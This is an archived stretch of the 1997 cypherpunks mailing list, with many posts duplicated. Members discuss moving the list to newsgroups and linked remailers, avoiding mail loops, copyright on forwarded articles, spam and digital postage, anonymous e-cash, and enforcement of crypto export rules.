(PST) Subject: Network of majordomos (fwd) Message-ID: <199702130515.VAA29507@toad.com> Bryan, What you did may be the ideal way to go actually. It would be great to have several NNTP servers with these (or similarly named) groups open to the world. I believe that it is possible to set them up such that they feed each other. say, the following groups may be good: cypherpunks.crypto cypherpunks.politics cypherpunks.flames cypherpunks.products cypherpunks.pgp (sort of redundant with the pgp newsgroups) cypherpunks.groups cypherpunks.admin cypherpunks.kooks cypherpunks.remailers cypherpunks.paranoia (or cypherpunks.tla) cypherpunks.politics.assassination cypherpunks.censorship (the following part is more questionable as some people would argue in favor of nocems) cypherpunks.moderated.sandy-sandfort cypherpunks.moderated.ray-arachelian cypherpunks.moderated.tim-may cypherpunks.moderated.... whoever else wants ... igor Bryan Reece wrote: > > Date: Wed, 12 Feb 1997 14:33:03 -0800 > From: Greg Broiles > > Yes, I installed INN and ran a few hundred test messages through it last > night. My machine will be on the net full-time Thursday or Friday. Will yours > be ready then, too? > > We've got INN here. I created a cpunks.general group (as well as > alt.cypherpunks) on taz.nceye.net and made both world-accessible. Our > feed hasn't got alt.cypherpunks yet; is someone who has got it willing > to feed it? (also, is there a consensus on what group names to use: > new top-level hierarchy? cpunks or cypherpunks? or just the alt group, > with the usual propagation and spam problems?) > - Igor. From markk at randomc.com Wed Feb 12 21:16:22 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 21:16:22 -0800 (PST) Subject: Re? Message-ID: <3.0.32.19970213000821.0057afe8@randomc.com> >X-Sender: camcc at smtp1.abraxis.com >Date: Wed, 12 Feb 1997 22:36:16 -0500 >To: Mark Krell >From: camcc at abraxis.com (Alec) >Subject: Re :Re? >Cc: cypherpunks at toad.com > >At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of : >: >:Attachment Converted: "c:\remove1.txt" >: >How, do you imagine, did you get on this God-forsaken list? Anger abounds. > >Is this Kismet that you are here now at this crucial moment of the list's evolution? > >Perhaps you have something to offer of which you are not aware. > >Avail yourself of our hospitality as we implode. Flee not. > >There is meaning to this. So our savants have told us. > >Speak the words to Majordomo at toad.com in the message panel (no quotes): > >"unsubscribe cypherpunks" > >Speak only thus. > >Bother us no more at our moment of transfiguration. > >Hail and farewell, Bro. > > > > > From declan at pathfinder.com Wed Feb 12 21:16:55 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 12 Feb 1997 21:16:55 -0800 (PST) Subject: Private property rights on cypherpunks (fwd) In-Reply-To: <199702130430.WAA03048@einstein> Message-ID: While I'm not entirely unsympathetic with the notion that "information should be free," your statements below are rather incoherent. For purposes of analysis, let's talk about a story I report and write myself. Depending on the article and travel involved, I may have spent hundreds of dollars working on it. I am unwilling to donate those efforts to the "public domain" every time; I may later want to sell the article to recoup my costs. Think property rights. (Of course, I admit the need for broad fair use rights as well.) "De facto public domain" is an idea that deserves to die. Now. -Declan On Wed, 12 Feb 1997, Jim Choate wrote: > > Forwarded message: > > > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST) > > From: Declan McCullagh > > Subject: Private property rights on cypherpunks > > > I forward articles to cypherpunks that are copyrighted by my employers, or > > magazines like Playboy and Wired for which I write freelance pieces. > > > > I like to think these articles have some value. I will not forward any of > > them, nor would I be able to, if they magically became "public domain." > > > > "De facto public domain" is an idea that deserves to die. Now. > > Really? Do you have a priori permission from your publisher, who owns those > stories, to distribute them elsewhere? > > If not please explain why I or any other person should be a willing > acomplice? You could also still post them anonymously. You could also > simply include a 'fair use' proviso somewhere. > > In such a case it would be in your publishers best interest to require a > copyright notice. In that case there is no confusion about who owns those > rights. Especialy when you consider the traffic is global which means your > 'implied copyright' here don't mean squat there. I suspect just about > every place that recognizes a copyright recognizes an explicit one. > > Instead of "De facto public domain should die" how about, > > "Implied a priori contracts should die now" > > Lord a mighty, haven't you heard? Information wants to be free. Let the > thing go. If you really think your words are something that will someday win > a Nobel or make Mr. Bill look like a pauper note it explicitly. However, > it would seem to me that implicit copyright works against the axiomatic > crypto-icon. > > > Jim Choate > CyberTects > ravage at ssz.com > > From jimbell at pacifier.com Wed Feb 12 21:26:21 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 12 Feb 1997 21:26:21 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702130526.VAA24937@mail.pacifier.com> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote: >Having said this, the flaw remains that "junk mail" is "free" to the >sender. This is a flaw in the ontology of e-mail, and needs to be fixed. >Digital postage is one approach. I decided long ago (okay, well, many months ago) that the "solution" is to invent a mechanism to allow spammers/advertisers to include a small amount of ecash as a gift with every spam. I figure that if USnail junk-mailers are willing to pay $0.32 for postage and probably $0.50 for production, printing, and labelling costs, all for no guarantees of results, they should even more happy to pay, say, 10 cents to each recipient. At that rate, an average person would probably receive enough "spam" to pay for his Internet account, quite analogous to the way advertiser-supported TV is presented to the public for no explicit charge. Jim Bell jimbell at pacifier.com From froomkin at law.miami.edu Wed Feb 12 21:26:21 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Wed, 12 Feb 1997 21:26:21 -0800 (PST) Subject: anonymity and e-cash In-Reply-To: <199702122141.NAA05987@toad.com> Message-ID: On Wed, 12 Feb 1997, Lee Tien wrote: > Is payee anonymity technically possible? Under what conditions? > Yes. In addition to having "money changers" play an anonymizing role, one can use an anonymous bank account. Contrary to intuition, banks might be willing to set these up with cryptographic safeguards. See http://www.law.miami.edu/~froomkin/articles/oceanno.htm#ENDNOTE286 which describes otherwise unpublished work by Brands (by permission). == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From roach_s at alph.swosu.edu Wed Feb 12 21:28:10 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 12 Feb 1997 21:28:10 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130528.VAA00558@toad.com> At 04:59 PM 2/12/97 -0800, Hal Finney wrote: >From: tcmay at got.net (Tim May) >> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday >> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on >> just this issue. (He also talked for an hour on his crack of the RSA >> challenge using 250 workstations...this was also a good talk.) > >I wish I could have heard that, it sounds good... > >A simple idea we have discussed for full anonymity uses the idea of >exchanging coins at the bank. You make an anonymous connection to >the bank, supply some ecash you have received along with some blinded >new ecash. The bank verifies that the ecash is good and signs your >blinded ecash, sending it back to you. You unblind it and have good, >fresh smelling ecash which you can keep, spend, or later deposit in >your account. > >If the merchant performs this exchange operation on-line as soon as >he receives ecash, then his anonynmity is protected. The customer is >protected too, by the blinding he used when he withdrew the ecash earlier. >So both sides remain anonymous. > >It sounds like Ian may have worked out details of a system where third >parties do these exchanges. Banks may be reluctant to allow them for >liability reasons, and the market, abhoring the vacuum, will supply >intermediaries who perform exchanges for a fee. > >Resolving the various forms of cheating is the hard part. When Lee asks >about a signed receipt, it is hard to understand what is the point if the >seller is fully anonymous! A signed receipt from a freshly-minted key >is not of much use to anyone. > >If the participants are using persistant pseudonyms then whatever >reputation capital they have can be put on the line when cheating happens, >although it still may be hard to tell who cheated whom. Did the customer >pass bad cash and claim it was good, or did the merchant deposit good >cash and claim it was bad? > >The same thing could happen every day at the supermarket, of course. >A customer insists they paid $20 but got change for a $10. If dozens of >customers say the same thing has happened to them, we start to mistrust >the market, while if several businesses say this particular customer >has made the same claim to them, we blame the customer. Here is another idea. The merchant and customer agree on a price, with the merchant knowing that the "bank" will take a cut for their services. The merchant and customer both LOG IN to the bank seperately, each type in their agreed upon price and cut & paste in the services rendered information. If they match, the bank makes the necessary transaction between the accounts, e-cash stash, etc. The bank also supplies both parties with a clear signed receipt. The bank can now no longer alter the receipt, as the merchant and customer both have a copy. And the customer and merchant can not alter the receipt, because then it would fail the test on the signature. If a receipt for a transaction number were used, then the only threat would be the same one that exists for remailer operators. This could be negated by daisy-chaining banks in a similair manner. If each bank took a cut of non-customers of $.0002 or .02% of the transaction, whichever was greater, then a suitable system could be set up. Another idea that has been festering. If we could get a CPA involved in this forum, I would be willing to have h[im/er] sign my key, (which is seldom used, mostly because this is the only place I use e-mail), for that reasonable fee that CPA's can charge. I know that it is not a standard, or even legally recognized, post for CPA's, but I think that enough people would trust them. This would take care of some of the "newly minted" key problems. Since getting someone who is trusted to sign your key is a recognized method of getting people to believe you are who you say you are. Just an idea. Actually two, one half thought out, one that has been bugging me. From froomkin at law.miami.edu Wed Feb 12 21:33:58 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Wed, 12 Feb 1997 21:33:58 -0800 (PST) Subject: Procmail during the transition, anyone? Message-ID: At various stages in the transition, we will be getting multiple copies of the same messages as the are re- cross- whatever-posted to lists, newsgroups and anything else handy. Anyone have a procmail script that will show me just ONE copy of messages, even if the headers are not identical (e.g. one looped, another was forwarded, etc.)? I have yet to find a good guide to procmail coding. My file is long, and inefficient, and a pain to maintain...and I'm too busy to learn it right. == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From rnh2 at ix.netcom.com Wed Feb 12 21:48:54 1997 From: rnh2 at ix.netcom.com (Rick Hornbeck) Date: Wed, 12 Feb 1997 21:48:54 -0800 (PST) Subject: Transmission of Crypto material and ITAR In-Reply-To: <199702130256.SAA18293@toad.com> Message-ID: <3.0.1.32.19970212214638.0069729c@popd.ix.netcom.com> Unless someone in the U.S. is willing to go to the effort of capturing all of the packets that comprise the crypto software package as they pass through various MCI, Sprint, etc. networks (which is probably illegal in itself, in most cases), on their way from the UK to your site in Australia and then reassembling them in the U.S. into something that is in violation of the export regulations, what difference does the path of the individual packets make? At 01:15 PM 2/13/97 -0800, you wrote: >Dear All, > >I have a question regarding the impossible enforcement of ITAR/EAR: >Naturally I cannot download crypto software from the US, but most of these >sites have mirrors in other countries, such as the UK for PGP, and sweden >and finland for lots of things. > >However, with the way that information is routed throughout the internet >from these sites, whenever I, in Australia, request packets containing this >data from the UK etc, it invariably passes through the US from coast to >coast! Therefore, if ITAR/EAR tries to govern that, aren't they really >trying to enforce something totally unenforcable? Surely they cannot expect >all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? > >Can anyone tell me what the ruling is with regards to this? > >Yours Sincerely, > >Benjamin Grosman > >---------------------------------------------------------------- > Benjamin Grosman - Programmer, Magna Data Internet Solutions > Quidquid latine dictum sit, altum viditur. > [Whatever is said in Latin sounds profound.] >---------------------------------------------------------------- > > > > From lerhuber at joshuanet.com Wed Feb 12 21:54:42 1997 From: lerhuber at joshuanet.com (George Leerhuber) Date: Wed, 12 Feb 1997 21:54:42 -0800 (PST) Subject: Unsubcribe Message-ID: <1.5.4.32.19970213055525.0068b36c@iwi.joshuanet.com> Unsubcribe From roach_s at alph.swosu.edu Wed Feb 12 22:00:05 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 12 Feb 1997 22:00:05 -0800 (PST) Subject: subscribe Message-ID: <199702130600.WAA02870@toad.com> At 08:48 PM 2/12/97 -0600, Igor Chudov wrote: >Jim Choate wrote: >> >> >> Hi Igor, >> >> > I will not impact me negatively. I do, however, suggest very strongly >> > that hosts should be subscribed to each other thgrough another mechanism >> > and not majordomo, in order to prevent mail loops, header rewriting and such. >> >> Suggestions? What I had in mind was that any messages that get sent on >> cpunks at ssz.com get sent over to algebra. One mechanism I would like to play >> with is a 'linked list' of remailers. Remailer A sends only to B and >> receives only from C... >> >> >> A >> ^ v >> C < B > >> Then to stop loops B deletes all outgoing mail from B. Since email can be >> forwarded from many sites the search must traverse the entire forward chain >> killing the message if B appears as a source. I suspect a simple procmail sort >> can accomplish this. My next step is to brush up on my procmail. I hope to >> have something in a couple of days that will allow you to subscribe >> cpunks at algebra to cpunks at ssz and both ends will be filtering. > >Here's how I do it (it is pretty close to your proposal): > >1) I delete duplicate messages (by looking up the database of >message-IDs) right away >2) I bounce all incoming messages to several other list servers >3) I pipe the article to majordomo for distribution. > >Note that majordomo changes headers and I wuold like to feed >other servers with UNCHANGED articles. ... >> Another nice advantage of this architecture is that 'rings' of remailers can >> be interconnected by simply sending output to more than one site. Might even >> be a good stability rule, "Never have a remailer send to more than 1 machine >> in its 'own' ring". I see no limit other than resources that would limit the >> number of rings an individual remailer might be in. > >A very good point. > ... Something to consider. If anyone of the distributed remailers is removed from a ring, the messages that need to travel across that ring can no longer do that. This makes the loop only as strong as its most at risk remailer. The star approach has already been seen in action, the trouble here is a single choke point. Full interconnectability is only feasible in a small net, but I would advise this at first. Check for the x-loop to see if another one got it first. If none, add one and send it on down the line. A disjointed mess, if the remailers are given first access to the list, could work quite well as long as that x-loop remained to point to who sent the message, and the x-loop contained an unalterable message number, and the remailers could eliminate duplications, probably based on message number. This should work as the net grows and would only be as weak as the strongest two connected remailers. Sounds like the internet. From ichudov at algebra.com Wed Feb 12 22:11:06 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 22:11:06 -0800 (PST) Subject: subscribe In-Reply-To: <199702130556.AAA02010@www.video-collage.com> Message-ID: <199702130606.AAA17590@manifold.algebra.com> Sean Roach wrote: > ... > Something to consider. If anyone of the distributed remailers is removed > from a ring, the messages that need to travel across that ring can no longer > do that. This makes the loop only as strong as its most at risk remailer. > The star approach has already been seen in action, the trouble here is a > single choke point. > Full interconnectability is only feasible in a small net, but I would advise > this at first. Check for the x-loop to see if another one got it first. If > none, add one and send it on down the line. > A disjointed mess, if the remailers are given first access to the list, > could work quite well as long as that x-loop remained to point to who sent > the message, and the x-loop contained an unalterable message number, and the > remailers could eliminate duplications, probably based on message number. > This should work as the net grows and would only be as weak as the strongest > two connected remailers. > Sounds like the internet. > I'd suggest a simplier solution: to connect each server with a couple, or maybe three, other servers. This scheme is rather robust, does not consume too much CPU time and bandwidth, and is easy to implement. - Igor. From markk at randomc.com Wed Feb 12 22:11:14 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 22:11:14 -0800 (PST) Subject: Re? Message-ID: <199702130611.WAA03597@toad.com> >X-Sender: camcc at smtp1.abraxis.com >Date: Wed, 12 Feb 1997 22:36:16 -0500 >To: Mark Krell >From: camcc at abraxis.com (Alec) >Subject: Re :Re? >Cc: cypherpunks at toad.com > >At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of : >: >:Attachment Converted: "c:\remove1.txt" >: >How, do you imagine, did you get on this God-forsaken list? Anger abounds. > >Is this Kismet that you are here now at this crucial moment of the list's evolution? > >Perhaps you have something to offer of which you are not aware. > >Avail yourself of our hospitality as we implode. Flee not. > >There is meaning to this. So our savants have told us. > >Speak the words to Majordomo at toad.com in the message panel (no quotes): > >"unsubscribe cypherpunks" > >Speak only thus. > >Bother us no more at our moment of transfiguration. > >Hail and farewell, Bro. > > > > > From attila at primenet.com Wed Feb 12 22:11:15 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 12 Feb 1997 22:11:15 -0800 (PST) Subject: (2)Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702130611.WAA03602@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970212:1525 "Timothy C. May" said: +At 6:21 PM +0000 2/12/97, Attila T. Hun wrote: +> maybe relief is in sight; can we spell excedrin? +> +>on or about 970211:1433 educom at elanor.oit.unc.edu said: +> +>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL +> +>+A U.S. district court in Ohio has granted CompuServe's request for a +>+preliminary injunction barring Cyber Promotions Inc. from sending +>+unsolicited e-mail to its subscribers while the commercial provider +... +Were I a customer of CompuServe, I'd ask on what basis CompuServe was +intercepting e-mail to me. In fact, a CompuServe account holder has +made just this point: "I'll decide what's junk mail and what's not."]] + I could not agree more, in theory, except for the postage you discuss below which permits spammers greed to exceed responsibility, let alone the public interest. I am, of course, a theoretical anarchist; I believe I could put aside greed (and have) to be sufficiently altruistic to make a society of anarchists work (in a limited population model). However: "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." --Albert Einstein as long as we have a >30% third and fourth generation welfare class which the dogood liberal bleeders say we are obligated to sustain their breeding; and another 30% which are functionally illiterate, there is no hope for idealism. our "neighbors" have no idea how to spell anarchy, let alone understand the price of freedom. just because I would cut off the permanent welfare class at the knees, and disenfranchise the functionally illiterate if I had the chance, does not make anarchy any more feasible; it's just a more rigid police state for the havenots --again, something we do not need. sorry to be a pragmatic pessimist, but it went down hill with the 16th amendment and the Federal Reserve Act to benefit the Rockefellers, Vanderbilts, Rothschilds, Chases, etc. at our expense. +Having the court system involved in deciding what mail is valid and +what is not valid is not my idea of a free society. + again, you are correct except anarchy requires responsibility. free agency has its requirements and this is why junk fax was banned. too many members of our society can not spell anarchy or responsibility --their knowledge of vocabulary starts and ends with greed. +Having said this, the flaw remains that "junk mail" is "free" to the +sender. This is a flaw in the ontology of e-mail, and needs to be +fixed. Digital postage is one approach. probably cut down on our postings to cp as well! 32 cents to post? +I'm not holding my breath, but I sure don't want a "District Court" +deciding. I don't like the regulatory agencies either, but at least they are not Judge Roy Bean, Law West of the Pecos. unfortunately, until the irresponsible tone down their greed, we need the regulation to protect ourselves from the predators. in other words, I agree with you in my heart, but our society refuses to cooperate. ___________________________________________________________attila_____ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwKgzb04kQrCC2kFAQEK0AP+PBClPteXMYFpcfJaeYgP8c077LZwFE5i O2taYhGGY2oiuw5U2r3Y4Qv2P/8CsCtZ/eSrBlmvMTOrYEi2Le0fjiefAFKte2g4 FSJ67ttFC3gSQyj75r99TJ+roYnJzGgec9X5f/kOr3Z0m3Da6u+m/l7siNmDOPae RDWsxwmjcyM= =huRr -----END PGP SIGNATURE----- From dthorn at gte.net Wed Feb 12 22:24:07 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 22:24:07 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702122049.OAA07350@manifold.algebra.com> Message-ID: <3302B2E9.20E3@gte.net> Igor Chudov @ home wrote: > Dr.Dimitri Vulis KOTM wrote: > > "Timothy C. May" writes: > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > > > >If the people decide for creation of a new USENET newsgroup, > > > >we need to think very hard about actually moving it to a different > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > It is too late to stop alt.cypherpunks, but if I had to make a > prediction again, I would predict that soon posters will BEG to help > them create comp.*.cypherpunks, because of spam and alt.flamage. I would lean toward sci.crypt.cypherpunks myself. Are there any implications in the use of that name as to restrictions, etc.? From lerhuber at joshuanet.com Wed Feb 12 22:26:01 1997 From: lerhuber at joshuanet.com (George Leerhuber) Date: Wed, 12 Feb 1997 22:26:01 -0800 (PST) Subject: Unsubcribe Message-ID: <199702130626.WAA04412@toad.com> Unsubcribe From froomkin at law.miami.edu Wed Feb 12 22:26:19 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Wed, 12 Feb 1997 22:26:19 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130626.WAA04480@toad.com> On Wed, 12 Feb 1997, Lee Tien wrote: > Is payee anonymity technically possible? Under what conditions? > Yes. In addition to having "money changers" play an anonymizing role, one can use an anonymous bank account. Contrary to intuition, banks might be willing to set these up with cryptographic safeguards. See http://www.law.miami.edu/~froomkin/articles/oceanno.htm#ENDNOTE286 which describes otherwise unpublished work by Brands (by permission). == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From ichudov at algebra.com Wed Feb 12 22:26:21 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 12 Feb 1997 22:26:21 -0800 (PST) Subject: subscribe Message-ID: <199702130626.WAA04481@toad.com> Sean Roach wrote: > ... > Something to consider. If anyone of the distributed remailers is removed > from a ring, the messages that need to travel across that ring can no longer > do that. This makes the loop only as strong as its most at risk remailer. > The star approach has already been seen in action, the trouble here is a > single choke point. > Full interconnectability is only feasible in a small net, but I would advise > this at first. Check for the x-loop to see if another one got it first. If > none, add one and send it on down the line. > A disjointed mess, if the remailers are given first access to the list, > could work quite well as long as that x-loop remained to point to who sent > the message, and the x-loop contained an unalterable message number, and the > remailers could eliminate duplications, probably based on message number. > This should work as the net grows and would only be as weak as the strongest > two connected remailers. > Sounds like the internet. > I'd suggest a simplier solution: to connect each server with a couple, or maybe three, other servers. This scheme is rather robust, does not consume too much CPU time and bandwidth, and is easy to implement. - Igor. From declan at pathfinder.com Wed Feb 12 22:26:25 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 12 Feb 1997 22:26:25 -0800 (PST) Subject: Private property rights on cypherpunks (fwd) Message-ID: <199702130626.WAA04488@toad.com> While I'm not entirely unsympathetic with the notion that "information should be free," your statements below are rather incoherent. For purposes of analysis, let's talk about a story I report and write myself. Depending on the article and travel involved, I may have spent hundreds of dollars working on it. I am unwilling to donate those efforts to the "public domain" every time; I may later want to sell the article to recoup my costs. Think property rights. (Of course, I admit the need for broad fair use rights as well.) "De facto public domain" is an idea that deserves to die. Now. -Declan On Wed, 12 Feb 1997, Jim Choate wrote: > > Forwarded message: > > > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST) > > From: Declan McCullagh > > Subject: Private property rights on cypherpunks > > > I forward articles to cypherpunks that are copyrighted by my employers, or > > magazines like Playboy and Wired for which I write freelance pieces. > > > > I like to think these articles have some value. I will not forward any of > > them, nor would I be able to, if they magically became "public domain." > > > > "De facto public domain" is an idea that deserves to die. Now. > > Really? Do you have a priori permission from your publisher, who owns those > stories, to distribute them elsewhere? > > If not please explain why I or any other person should be a willing > acomplice? You could also still post them anonymously. You could also > simply include a 'fair use' proviso somewhere. > > In such a case it would be in your publishers best interest to require a > copyright notice. In that case there is no confusion about who owns those > rights. Especialy when you consider the traffic is global which means your > 'implied copyright' here don't mean squat there. I suspect just about > every place that recognizes a copyright recognizes an explicit one. > > Instead of "De facto public domain should die" how about, > > "Implied a priori contracts should die now" > > Lord a mighty, haven't you heard? Information wants to be free. Let the > thing go. If you really think your words are something that will someday win > a Nobel or make Mr. Bill look like a pauper note it explicitly. However, > it would seem to me that implicit copyright works against the axiomatic > crypto-icon. > > > Jim Choate > CyberTects > ravage at ssz.com > > From roach_s at alph.swosu.edu Wed Feb 12 22:26:27 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 12 Feb 1997 22:26:27 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130626.WAA04490@toad.com> At 04:59 PM 2/12/97 -0800, Hal Finney wrote: >From: tcmay at got.net (Tim May) >> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday >> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on >> just this issue. (He also talked for an hour on his crack of the RSA >> challenge using 250 workstations...this was also a good talk.) > >I wish I could have heard that, it sounds good... > >A simple idea we have discussed for full anonymity uses the idea of >exchanging coins at the bank. You make an anonymous connection to >the bank, supply some ecash you have received along with some blinded >new ecash. The bank verifies that the ecash is good and signs your >blinded ecash, sending it back to you. You unblind it and have good, >fresh smelling ecash which you can keep, spend, or later deposit in >your account. > >If the merchant performs this exchange operation on-line as soon as >he receives ecash, then his anonynmity is protected. The customer is >protected too, by the blinding he used when he withdrew the ecash earlier. >So both sides remain anonymous. > >It sounds like Ian may have worked out details of a system where third >parties do these exchanges. Banks may be reluctant to allow them for >liability reasons, and the market, abhoring the vacuum, will supply >intermediaries who perform exchanges for a fee. > >Resolving the various forms of cheating is the hard part. When Lee asks >about a signed receipt, it is hard to understand what is the point if the >seller is fully anonymous! A signed receipt from a freshly-minted key >is not of much use to anyone. > >If the participants are using persistant pseudonyms then whatever >reputation capital they have can be put on the line when cheating happens, >although it still may be hard to tell who cheated whom. Did the customer >pass bad cash and claim it was good, or did the merchant deposit good >cash and claim it was bad? > >The same thing could happen every day at the supermarket, of course. >A customer insists they paid $20 but got change for a $10. If dozens of >customers say the same thing has happened to them, we start to mistrust >the market, while if several businesses say this particular customer >has made the same claim to them, we blame the customer. Here is another idea. The merchant and customer agree on a price, with the merchant knowing that the "bank" will take a cut for their services. The merchant and customer both LOG IN to the bank seperately, each type in their agreed upon price and cut & paste in the services rendered information. If they match, the bank makes the necessary transaction between the accounts, e-cash stash, etc. The bank also supplies both parties with a clear signed receipt. The bank can now no longer alter the receipt, as the merchant and customer both have a copy. And the customer and merchant can not alter the receipt, because then it would fail the test on the signature. If a receipt for a transaction number were used, then the only threat would be the same one that exists for remailer operators. This could be negated by daisy-chaining banks in a similair manner. If each bank took a cut of non-customers of $.0002 or .02% of the transaction, whichever was greater, then a suitable system could be set up. Another idea that has been festering. If we could get a CPA involved in this forum, I would be willing to have h[im/er] sign my key, (which is seldom used, mostly because this is the only place I use e-mail), for that reasonable fee that CPA's can charge. I know that it is not a standard, or even legally recognized, post for CPA's, but I think that enough people would trust them. This would take care of some of the "newly minted" key problems. Since getting someone who is trusted to sign your key is a recognized method of getting people to believe you are who you say you are. Just an idea. Actually two, one half thought out, one that has been bugging me. From froomkin at law.miami.edu Wed Feb 12 22:28:01 1997 From: froomkin at law.miami.edu (Michael Froomkin - U.Miami School of Law) Date: Wed, 12 Feb 1997 22:28:01 -0800 (PST) Subject: Procmail during the transition, anyone? Message-ID: <199702130628.WAA04589@toad.com> At various stages in the transition, we will be getting multiple copies of the same messages as the are re- cross- whatever-posted to lists, newsgroups and anything else handy. Anyone have a procmail script that will show me just ONE copy of messages, even if the headers are not identical (e.g. one looped, another was forwarded, etc.)? I have yet to find a good guide to procmail coding. My file is long, and inefficient, and a pain to maintain...and I'm too busy to learn it right. == The above may have been dictated via Dragon Dictate 2.52 voice recognition. Please be alert for unintentional word substitutions. A. Michael Froomkin | +1 (305) 284-4285; +1 (305) 284-6506 (fax) Associate Professor of Law | U. Miami School of Law | froomkin at law.miami.edu P.O. Box 248087 | http://www.law.miami.edu/~froomkin Coral Gables, FL 33124 USA | It's warm here. From rnh2 at ix.netcom.com Wed Feb 12 22:28:04 1997 From: rnh2 at ix.netcom.com (Rick Hornbeck) Date: Wed, 12 Feb 1997 22:28:04 -0800 (PST) Subject: Transmission of Crypto material and ITAR Message-ID: <199702130628.WAA04590@toad.com> Unless someone in the U.S. is willing to go to the effort of capturing all of the packets that comprise the crypto software package as they pass through various MCI, Sprint, etc. networks (which is probably illegal in itself, in most cases), on their way from the UK to your site in Australia and then reassembling them in the U.S. into something that is in violation of the export regulations, what difference does the path of the individual packets make? At 01:15 PM 2/13/97 -0800, you wrote: >Dear All, > >I have a question regarding the impossible enforcement of ITAR/EAR: >Naturally I cannot download crypto software from the US, but most of these >sites have mirrors in other countries, such as the UK for PGP, and sweden >and finland for lots of things. > >However, with the way that information is routed throughout the internet >from these sites, whenever I, in Australia, request packets containing this >data from the UK etc, it invariably passes through the US from coast to >coast! Therefore, if ITAR/EAR tries to govern that, aren't they really >trying to enforce something totally unenforcable? Surely they cannot expect >all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? > >Can anyone tell me what the ruling is with regards to this? > >Yours Sincerely, > >Benjamin Grosman > >---------------------------------------------------------------- > Benjamin Grosman - Programmer, Magna Data Internet Solutions > Quidquid latine dictum sit, altum viditur. > [Whatever is said in Latin sounds profound.] >---------------------------------------------------------------- > > > > From roach_s at alph.swosu.edu Wed Feb 12 22:28:08 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Wed, 12 Feb 1997 22:28:08 -0800 (PST) Subject: subscribe Message-ID: <199702130628.WAA04598@toad.com> At 08:48 PM 2/12/97 -0600, Igor Chudov wrote: >Jim Choate wrote: >> >> >> Hi Igor, >> >> > I will not impact me negatively. I do, however, suggest very strongly >> > that hosts should be subscribed to each other thgrough another mechanism >> > and not majordomo, in order to prevent mail loops, header rewriting and such. >> >> Suggestions? What I had in mind was that any messages that get sent on >> cpunks at ssz.com get sent over to algebra. One mechanism I would like to play >> with is a 'linked list' of remailers. Remailer A sends only to B and >> receives only from C... >> >> >> A >> ^ v >> C < B > >> Then to stop loops B deletes all outgoing mail from B. Since email can be >> forwarded from many sites the search must traverse the entire forward chain >> killing the message if B appears as a source. I suspect a simple procmail sort >> can accomplish this. My next step is to brush up on my procmail. I hope to >> have something in a couple of days that will allow you to subscribe >> cpunks at algebra to cpunks at ssz and both ends will be filtering. > >Here's how I do it (it is pretty close to your proposal): > >1) I delete duplicate messages (by looking up the database of >message-IDs) right away >2) I bounce all incoming messages to several other list servers >3) I pipe the article to majordomo for distribution. > >Note that majordomo changes headers and I wuold like to feed >other servers with UNCHANGED articles. ... >> Another nice advantage of this architecture is that 